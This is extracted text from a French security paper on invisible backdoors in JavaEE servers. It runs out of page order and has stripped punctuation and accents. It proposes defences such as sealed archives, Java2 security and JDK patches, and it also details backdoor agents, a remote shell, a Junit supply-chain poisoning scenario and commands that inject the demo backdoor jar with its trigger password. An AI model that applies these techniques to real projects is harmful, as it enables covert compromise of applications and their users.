$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur
Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest
pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur
Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK
Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur
Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI
416 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 13 Shell
Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles
3 Demonstration
Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution
Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire
Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire
Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee
Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee
P Prados 417
Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement
Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage
Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications
Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges
Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour
augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves
ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE
Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela
31 Execution
Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent
La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant
Chaque agent utilise un protocole qui lui est propre
32 Executer la demonstration
Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication
Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar
418 Porte derobee dans les serveurs drsquoapplications JavaEE
ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample
war
ndash httpwwwspringsourceorgdownload
Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console
$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar
$ mkdir -p WEB -INFlib
$ mv macaron -backdoor jar WEB -INFlib
$ jar -uf samplewar WEB -INF
$ cp samplewar $CATALINA_HOMEwebapps
Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication
export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-
actions
Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant
grant
Pour Macaron Backdoor
permission javautilPropertyPermission macaron -backdoorread
permission javalangRuntimePermission createClassLoader
permission javalangRuntimePermission getProtectionDomain
Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique
Puis lancez Tomcat
$ $CATALINA_HOMEbincatalinash run -security
Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n
33 Diffusion du code
La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
